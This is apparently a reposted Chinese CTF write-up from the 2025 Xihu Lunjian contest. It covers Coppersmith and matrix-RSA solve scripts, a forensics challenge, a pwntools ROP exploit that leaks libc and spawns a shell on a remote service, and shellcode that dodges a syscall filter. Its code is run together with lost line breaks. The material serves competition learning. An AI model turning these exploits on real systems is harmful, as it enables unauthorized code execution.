from sage.all import *n =132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009p4=9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275e = 0x10001pbits = 512kbits = pbits - p4.nbits()print(p4.nbits())p4 = p4 << kbitsPR.= PolynomialRing(Zmod(n))f = x + p4roots = f.small_roots(X=2^kbits, beta=0.4)if roots:p = p4+int(roots[0])print ("n: ", n)print ("p: ", p)print ("q: ", n/p)
https://latallvia-d.github.io/2024/07/02/%E8%AE%BA%E6%96%87%E5%A4%8D%E7%8E%B0%EF%BC%9AA%20Matrix%20Extension%20of%20the%20RSA%20Cryptosystem/
import gmpy2from sage.allimport *from Crypto.Util.number import *n =132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009C = [(130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615),(23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401),(67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676)]e=65537#print(factor(n))p =12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063q =10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143C = Matrix(Zmod(n), C)gp = (p**2-p)*(p**2-1)gq = (q**2-q)*(q**2-1)g = gp * gqd = gmpy2.invert(e, g)M=C**d%nm = b''.join(long_to_bytes(int(y)) for x in M for y in x)print(m)
丢安恒云沙箱跑出flag，得到IP：115.195.88.161，然后发现流量包有接口命令执行 flag{setSystemAdmin_115.195.88.161}
DS
DS1
分析日志可以发现传输的文件是一个zip
将Zip提取出来后发现需要密码，寻找密码时发现webshell中有提示
猜测传输的图片就是压缩包的密码，将图片完整的提取下来，之后尝试对图片信息进行提取，最后在盲水印发现了压缩包密码。
解压得到flag
edit函数将关键地址写入指定位置，构造ROP链，调用system('/bin/sh')，通过触发ROP链的执行，调用system('/bin/sh')，获取目标系统的shell，实现任意代码执行。from pwn import *libc=ELF('./libc.so.6')p = remote('ip',port)defcommand(option):p.sendlineafter(b'choice',str(option))defedit(idx,Content=b'1'):command(1)p.recvuntil(b'edit')p.sendline(bytes(str(idx),'utf-8'))p.recvuntil(b'value')p.sendline(bytes(str(Content),'utf-8'))defdword_data(data,half):if(half==0):tmp=data&0xffffffffelse:tmp=(data>>32)&0xffffffffif(tmp>0x7FFFFFFF):tmp-= 2**32return tmpfor i inrange(8):command(2)p.recvuntil(b'push')p.sendline(b'888')command(4)p.recvuntil(b'StackVector contents: ')vector_data=p.recvuntil(b'n').split(b' ')libc_addr=(int(vector_data[19])<<32)+(int(vector_data[18])&0xffffffff)libcbase=libc_addr-0x29d90system=libcbase+libc.symbols['system']str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))pop_rdi=libcbase+0x2a3e5rop_index=18edit(rop_index,dword_data(pop_rdi+1,0))edit(rop_index+1,dword_data(pop_rdi+1,1))edit(rop_index+2,dword_data(pop_rdi,0))edit(rop_index+3,dword_data(pop_rdi,1))edit(rop_index+4,dword_data(str_bin_sh,0))edit(rop_index+5,dword_data(str_bin_sh,1))edit(rop_index+6,dword_data(system,0))edit(rop_index+7,dword_data(system,1))command(5)p.interactive()
from pwn import *p = process('./pwn')context.arch = 'amd64' # 设置x64模式shellcode = asm(shellcraft.open('flag',0,0))+asm(shellcraft.mmap(0x80000,0x1000,1,1,'rax',0))+asm('''mov rax,1mov rdi,1mov rsi,0x80000mov rdx,0x30mov byte ptr [rip],0x0f''')+b'x01x05' # 第一步打开flag文件，第二步映射到内存，第三步调用write的syscall，为了防止超过syscall出现次数上限，这里不能出现syscall本来的x0Fx05，通过修改rip寄存器的值（此时rip寄存器已经指向了0x01的位置）把下一个指令修改为syscallp.send(shellcode)p.interactive()
原文始发于微信公众号（赛查查）：2025西湖论剑网络安全技能大赛个人wp
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论